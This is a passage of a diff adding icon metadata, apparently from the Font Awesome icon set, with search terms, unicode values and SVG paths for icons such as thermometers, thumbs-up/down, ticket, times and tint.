11.068 32 31.732 32 55.417z" + } + }, + "free": [ + "solid" + ] + }, + "thermometer-half": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "mercury", + "status", + "temperature" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2c9", + "label": "Thermometer 1/2 Full", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635753, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V224c0-17.673 14.327-32 32-32s32 14.327 32 32v104.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V224c0-17.673 14.327-32 32-32s32 14.327 32 32v104.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z" + } + }, + "free": [ + "solid" + ] + }, + "thermometer-quarter": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "mercury", + "status", + "temperature" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2ca", + "label": "Thermometer 1/4 Full", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635753, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V288c0-17.673 14.327-32 32-32s32 14.327 32 32v40.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V288c0-17.673 14.327-32 32-32s32 14.327 32 32v40.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z" + } + }, + "free": [ + "solid" + ] + }, + "thermometer-three-quarters": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "mercury", + "status", + "temperature" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2c8", + "label": "Thermometer 3/4 Full", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635753, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M192 384c0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64 0-23.685 12.876-44.349 32-55.417V160c0-17.673 14.327-32 32-32s32 14.327 32 32v168.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M192 384c0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64 0-23.685 12.876-44.349 32-55.417V160c0-17.673 14.327-32 32-32s32 14.327 32 32v168.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z" + } + }, + "free": [ + "solid" + ] + }, + "think-peaks": { + "changes": [ + "5.4.2", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f731", + "label": "Think Peaks", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775923, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M465.4 409.4l87.1-150.2-32-.3-55.1 95L259.2 0 23 407.4l32 .3L259.2 55.6zm-355.3-44.1h32.1l117.4-202.5L463 511.9l32.5.1-235.8-404.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M465.4 409.4l87.1-150.2-32-.3-55.1 95L259.2 0 23 407.4l32 .3L259.2 55.6zm-355.3-44.1h32.1l117.4-202.5L463 511.9l32.5.1-235.8-404.6z" + } + }, + "free": [ + "brands" + ] + }, + "thumbs-down": { + "changes": [ + "3.2", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "disagree", + "disapprove", + "dislike", + "hand", + "social", + "thumbs-o-down" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f165", + "label": "thumbs-down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635754, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 56v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56zm40 200c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24zm272 256c-20.183 0-29.485-39.293-33.931-57.795-5.206-21.666-10.589-44.07-25.393-58.902-32.469-32.524-49.503-73.967-89.117-113.111a11.98 11.98 0 0 1-3.558-8.521V59.901c0-6.541 5.243-11.878 11.783-11.998 15.831-.29 36.694-9.079 52.651-16.178C256.189 17.598 295.709.017 343.995 0h2.844c42.777 0 93.363.413 113.774 29.737 8.392 12.057 10.446 27.034 6.148 44.632 16.312 17.053 25.063 48.863 16.382 74.757 17.544 23.432 19.143 56.132 9.308 79.469l.11.11c11.893 11.949 19.523 31.259 19.439 49.197-.156 30.352-26.157 58.098-59.553 58.098H350.723C358.03 364.34 384 388.132 384 430.548 384 504 336 512 312 512z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M0 56v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56zm40 200c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24zm272 256c-20.183 0-29.485-39.293-33.931-57.795-5.206-21.666-10.589-44.07-25.393-58.902-32.469-32.524-49.503-73.967-89.117-113.111a11.98 11.98 0 0 1-3.558-8.521V59.901c0-6.541 5.243-11.878 11.783-11.998 15.831-.29 36.694-9.079 52.651-16.178C256.189 17.598 295.709.017 343.995 0h2.844c42.777 0 93.363.413 113.774 29.737 8.392 12.057 10.446 27.034 6.148 44.632 16.312 17.053 25.063 48.863 16.382 74.757 17.544 23.432 19.143 56.132 9.308 79.469l.11.11c11.893 11.949 19.523 31.259 19.439 49.197-.156 30.352-26.157 58.098-59.553 58.098H350.723C358.03 364.34 384 388.132 384 430.548 384 504 336 512 312 512z" + }, + "regular": { + "last_modified": 1628088635052, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M466.27 225.31c4.674-22.647.864-44.538-8.99-62.99 2.958-23.868-4.021-48.565-17.34-66.99C438.986 39.423 404.117 0 327 0c-7 0-15 .01-22.22.01C201.195.01 168.997 40 128 40h-10.845c-5.64-4.975-13.042-8-21.155-8H32C14.327 32 0 46.327 0 64v240c0 17.673 14.327 32 32 32h64c11.842 0 22.175-6.438 27.708-16h7.052c19.146 16.953 46.013 60.653 68.76 83.4 13.667 13.667 10.153 108.6 71.76 108.6 57.58 0 95.27-31.936 95.27-104.73 0-18.41-3.93-33.73-8.85-46.54h36.48c48.602 0 85.82-41.565 85.82-85.58 0-19.15-4.96-34.99-13.73-49.84zM64 296c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm330.18 16.73H290.19c0 37.82 28.36 55.37 28.36 94.54 0 23.75 0 56.73-47.27 56.73-18.91-18.91-9.46-66.18-37.82-94.54C206.9 342.89 167.28 272 138.92 272H128V85.83c53.611 0 100.001-37.82 171.64-37.82h37.82c35.512 0 60.82 17.12 53.12 65.9 15.2 8.16 26.5 36.44 13.94 57.57 21.581 20.384 18.699 51.065 5.21 65.62 9.45 0 22.36 18.91 22.27 37.81-.09 18.91-16.71 37.82-37.82 37.82z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M466.27 225.31c4.674-22.647.864-44.538-8.99-62.99 2.958-23.868-4.021-48.565-17.34-66.99C438.986 39.423 404.117 0 327 0c-7 0-15 .01-22.22.01C201.195.01 168.997 40 128 40h-10.845c-5.64-4.975-13.042-8-21.155-8H32C14.327 32 0 46.327 0 64v240c0 17.673 14.327 32 32 32h64c11.842 0 22.175-6.438 27.708-16h7.052c19.146 16.953 46.013 60.653 68.76 83.4 13.667 13.667 10.153 108.6 71.76 108.6 57.58 0 95.27-31.936 95.27-104.73 0-18.41-3.93-33.73-8.85-46.54h36.48c48.602 0 85.82-41.565 85.82-85.58 0-19.15-4.96-34.99-13.73-49.84zM64 296c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm330.18 16.73H290.19c0 37.82 28.36 55.37 28.36 94.54 0 23.75 0 56.73-47.27 56.73-18.91-18.91-9.46-66.18-37.82-94.54C206.9 342.89 167.28 272 138.92 272H128V85.83c53.611 0 100.001-37.82 171.64-37.82h37.82c35.512 0 60.82 17.12 53.12 65.9 15.2 8.16 26.5 36.44 13.94 57.57 21.581 20.384 18.699 51.065 5.21 65.62 9.45 0 22.36 18.91 22.27 37.81-.09 18.91-16.71 37.82-37.82 37.82z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "thumbs-up": { + "changes": [ + "3.2", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "agree", + "approve", + "favorite", + "hand", + "like", + "ok", + "okay", + "social", + "success", + "thumbs-o-up", + "yes", + "you got it dude" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f164", + "label": "thumbs-up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635755, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M104 224H24c-13.255 0-24 10.745-24 24v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V248c0-13.255-10.745-24-24-24zM64 472c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zM384 81.452c0 42.416-25.97 66.208-33.277 94.548h101.723c33.397 0 59.397 27.746 59.553 58.098.084 17.938-7.546 37.249-19.439 49.197l-.11.11c9.836 23.337 8.237 56.037-9.308 79.469 8.681 25.895-.069 57.704-16.382 74.757 4.298 17.598 2.244 32.575-6.148 44.632C440.202 511.587 389.616 512 346.839 512l-2.845-.001c-48.287-.017-87.806-17.598-119.56-31.725-15.957-7.099-36.821-15.887-52.651-16.178-6.54-.12-11.783-5.457-11.783-11.998v-213.77c0-3.2 1.282-6.271 3.558-8.521 39.614-39.144 56.648-80.587 89.117-113.111 14.804-14.832 20.188-37.236 25.393-58.902C282.515 39.293 291.817 0 312 0c24 0 72 8 72 81.452z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M104 224H24c-13.255 0-24 10.745-24 24v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V248c0-13.255-10.745-24-24-24zM64 472c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zM384 81.452c0 42.416-25.97 66.208-33.277 94.548h101.723c33.397 0 59.397 27.746 59.553 58.098.084 17.938-7.546 37.249-19.439 49.197l-.11.11c9.836 23.337 8.237 56.037-9.308 79.469 8.681 25.895-.069 57.704-16.382 74.757 4.298 17.598 2.244 32.575-6.148 44.632C440.202 511.587 389.616 512 346.839 512l-2.845-.001c-48.287-.017-87.806-17.598-119.56-31.725-15.957-7.099-36.821-15.887-52.651-16.178-6.54-.12-11.783-5.457-11.783-11.998v-213.77c0-3.2 1.282-6.271 3.558-8.521 39.614-39.144 56.648-80.587 89.117-113.111 14.804-14.832 20.188-37.236 25.393-58.902C282.515 39.293 291.817 0 312 0c24 0 72 8 72 81.452z" + }, + "regular": { + "last_modified": 1628088635052, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M466.27 286.69C475.04 271.84 480 256 480 236.85c0-44.015-37.218-85.58-85.82-85.58H357.7c4.92-12.81 8.85-28.13 8.85-46.54C366.55 31.936 328.86 0 271.28 0c-61.607 0-58.093 94.933-71.76 108.6-22.747 22.747-49.615 66.447-68.76 83.4H32c-17.673 0-32 14.327-32 32v240c0 17.673 14.327 32 32 32h64c14.893 0 27.408-10.174 30.978-23.95 44.509 1.001 75.06 39.94 177.802 39.94 7.22 0 15.22.01 22.22.01 77.117 0 111.986-39.423 112.94-95.33 13.319-18.425 20.299-43.122 17.34-66.99 9.854-18.452 13.664-40.343 8.99-62.99zm-61.75 53.83c12.56 21.13 1.26 49.41-13.94 57.57 7.7 48.78-17.608 65.9-53.12 65.9h-37.82c-71.639 0-118.029-37.82-171.64-37.82V240h10.92c28.36 0 67.98-70.89 94.54-97.46 28.36-28.36 18.91-75.63 37.82-94.54 47.27 0 47.27 32.98 47.27 56.73 0 39.17-28.36 56.72-28.36 94.54h103.99c21.11 0 37.73 18.91 37.82 37.82.09 18.9-12.82 37.81-22.27 37.81 13.489 14.555 16.371 45.236-5.21 65.62zM88 432c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M466.27 286.69C475.04 271.84 480 256 480 236.85c0-44.015-37.218-85.58-85.82-85.58H357.7c4.92-12.81 8.85-28.13 8.85-46.54C366.55 31.936 328.86 0 271.28 0c-61.607 0-58.093 94.933-71.76 108.6-22.747 22.747-49.615 66.447-68.76 83.4H32c-17.673 0-32 14.327-32 32v240c0 17.673 14.327 32 32 32h64c14.893 0 27.408-10.174 30.978-23.95 44.509 1.001 75.06 39.94 177.802 39.94 7.22 0 15.22.01 22.22.01 77.117 0 111.986-39.423 112.94-95.33 13.319-18.425 20.299-43.122 17.34-66.99 9.854-18.452 13.664-40.343 8.99-62.99zm-61.75 53.83c12.56 21.13 1.26 49.41-13.94 57.57 7.7 48.78-17.608 65.9-53.12 65.9h-37.82c-71.639 0-118.029-37.82-171.64-37.82V240h10.92c28.36 0 67.98-70.89 94.54-97.46 28.36-28.36 18.91-75.63 37.82-94.54 47.27 0 47.27 32.98 47.27 56.73 0 39.17-28.36 56.72-28.36 94.54h103.99c21.11 0 37.73 18.91 37.82 37.82.09 18.9-12.82 37.81-22.27 37.81 13.489 14.555 16.371 45.236-5.21 65.62zM88 432c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "thumbtack": { + "changes": [ + "1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "coordinates", + "location", + "marker", + "pin", + "thumb-tack" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f08d", + "label": "Thumbtack", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635755, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M298.028 214.267L285.793 96H328c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v48c0 13.255 10.745 24 24 24h42.207L85.972 214.267C37.465 236.82 0 277.261 0 328c0 13.255 10.745 24 24 24h136v104.007c0 1.242.289 2.467.845 3.578l24 48c2.941 5.882 11.364 5.893 14.311 0l24-48a8.008 8.008 0 0 0 .845-3.578V352h136c13.255 0 24-10.745 24-24-.001-51.183-37.983-91.42-85.973-113.733z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M298.028 214.267L285.793 96H328c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v48c0 13.255 10.745 24 24 24h42.207L85.972 214.267C37.465 236.82 0 277.261 0 328c0 13.255 10.745 24 24 24h136v104.007c0 1.242.289 2.467.845 3.578l24 48c2.941 5.882 11.364 5.893 14.311 0l24-48a8.008 8.008 0 0 0 .845-3.578V352h136c13.255 0 24-10.745 24-24-.001-51.183-37.983-91.42-85.973-113.733z" + } + }, + "free": [ + "solid" + ] + }, + "ticket-alt": { + "changes": [ + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "movie", + "pass", + "support", + "ticket" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f3ff", + "label": "Alternate Ticket", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635756, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M128 160h320v192H128V160zm400 96c0 26.51 21.49 48 48 48v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c26.51 0 48-21.49 48-48s-21.49-48-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v96c-26.51 0-48 21.49-48 48zm-48-104c0-13.255-10.745-24-24-24H120c-13.255 0-24 10.745-24 24v208c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V152z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M128 160h320v192H128V160zm400 96c0 26.51 21.49 48 48 48v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c26.51 0 48-21.49 48-48s-21.49-48-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v96c-26.51 0-48 21.49-48 48zm-48-104c0-13.255-10.745-24-24-24H120c-13.255 0-24 10.745-24 24v208c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V152z" + } + }, + "free": [ + "solid" + ] + }, + "tiktok": { + "changes": [ + "5.13.1", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e07b", + "label": "TikTok", + "voted": true, + "svg": { + "brands": { + "last_modified": 1599860539200, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z" + } + }, + "free": [ + "brands" + ] + }, + "times": { + "changes": [ + "1", + "5.0.0", + "5.0.13", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "close", + "cross", + "error", + "exit", + "incorrect", + "notice", + "notification", + "notify", + "problem", + "wrong", + "x" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f00d", + "label": "Times", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635757, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 352 512\"><path d=\"M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z\"/></svg>", + "viewBox": [ + "0", + "0", + "352", + "512" + ], + "width": 352, + "height": 512, + "path": "M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z" + } + }, + "free": [ + "solid" + ] + }, + "times-circle": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "close", + "cross", + "exit", + "incorrect", + "notice", + "notification", + "notify", + "problem", + "wrong", + "x" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f057", + "label": "Times Circle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635756, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm121.6 313.1c4.7 4.7 4.7 12.3 0 17L338 377.6c-4.7 4.7-12.3 4.7-17 0L256 312l-65.1 65.6c-4.7 4.7-12.3 4.7-17 0L134.4 338c-4.7-4.7-4.7-12.3 0-17l65.6-65-65.6-65.1c-4.7-4.7-4.7-12.3 0-17l39.6-39.6c4.7-4.7 12.3-4.7 17 0l65 65.7 65.1-65.6c4.7-4.7 12.3-4.7 17 0l39.6 39.6c4.7 4.7 4.7 12.3 0 17L312 256l65.6 65.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm121.6 313.1c4.7 4.7 4.7 12.3 0 17L338 377.6c-4.7 4.7-12.3 4.7-17 0L256 312l-65.1 65.6c-4.7 4.7-12.3 4.7-17 0L134.4 338c-4.7-4.7-4.7-12.3 0-17l65.6-65-65.6-65.1c-4.7-4.7-4.7-12.3 0-17l39.6-39.6c4.7-4.7 12.3-4.7 17 0l65 65.7 65.1-65.6c4.7-4.7 12.3-4.7 17 0l39.6 39.6c4.7 4.7 4.7 12.3 0 17L312 256l65.6 65.1z" + }, + "regular": { + "last_modified": 1628088635229, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm101.8-262.2L295.6 256l62.2 62.2c4.7 4.7 4.7 12.3 0 17l-22.6 22.6c-4.7 4.7-12.3 4.7-17 0L256 295.6l-62.2 62.2c-4.7 4.7-12.3 4.7-17 0l-22.6-22.6c-4.7-4.7-4.7-12.3 0-17l62.2-62.2-62.2-62.2c-4.7-4.7-4.7-12.3 0-17l22.6-22.6c4.7-4.7 12.3-4.7 17 0l62.2 62.2 62.2-62.2c4.7-4.7 12.3-4.7 17 0l22.6 22.6c4.7 4.7 4.7 12.3 0 17z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm101.8-262.2L295.6 256l62.2 62.2c4.7 4.7 4.7 12.3 0 17l-22.6 22.6c-4.7 4.7-12.3 4.7-17 0L256 295.6l-62.2 62.2c-4.7 4.7-12.3 4.7-17 0l-22.6-22.6c-4.7-4.7-4.7-12.3 0-17l62.2-62.2-62.2-62.2c-4.7-4.7-4.7-12.3 0-17l22.6-22.6c4.7-4.7 12.3-4.7 17 0l62.2 62.2 62.2-62.2c4.7-4.7 12.3-4.7 17 0l22.6 22.6c4.7 4.7 4.7 12.3 0 17z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "tint": { + "changes": [ + "1", + "5.0.0", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "color", + "drop", + "droplet", + "raindrop", + "waterdrop" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f043", + "label": "tint", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635757, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 352 512\"><path d=\"M205.22 22.09c-7.94-28.78-49.44-30.12-58.44 0C100.01 179.85 0 222.72 0 333.91 0 432.35 78.72 512 176 512s176-79.65 176-178.09c0-111.75-99.79-153.34-146.78-311.82zM176 448c-61.75 0-112-50.25-112-112 0-8.84 7.16-16 16-16s16 7.16 16 16c0 44.11 35.89 80 80 80 8.84 0 16 7.16 16 16s-7.16 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "352", + "512" + ], + "width": 352, + "height": 512, + "path": "M205.22 22.09c-7.94-28.78-49.44-30.12-58.44 0C100.01 179.85 0 222.72 0 333.91 0 432.35 78.72 512 176 512s176-79.65 176-178.09c0-111.75-99.79-153.34-146.78-311.82zM176 448c-61.75 0-112-50.25-112-112 0-8.84 7.16-16 16-16s16 7.16 16 16c0 44.11 35.89 80 80 80 8.84 0 16 7.16 16 16s-7.16 16-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "tint-slash": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "color", + "drop", + "droplet", + "raindrop", + "waterdrop" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5c7", + "label": "Tint Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635757, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M633.82 458.1L494.97 350.78c.52-5.57 1.03-11.16 1.03-16.87 0-111.76-99.79-153.34-146.78-311.82-7.94-28.78-49.44-30.12-58.44 0-15.52 52.34-36.87 91.96-58.49 125.68L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM144 333.91C144 432.35 222.72 512 320 512c44.71 0 85.37-16.96 116.4-44.7L162.72 255.78c-11.41 23.5-18.72 48.35-18.72 78.13z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M633.82 458.1L494.97 350.78c.52-5.57 1.03-11.16 1.03-16.87 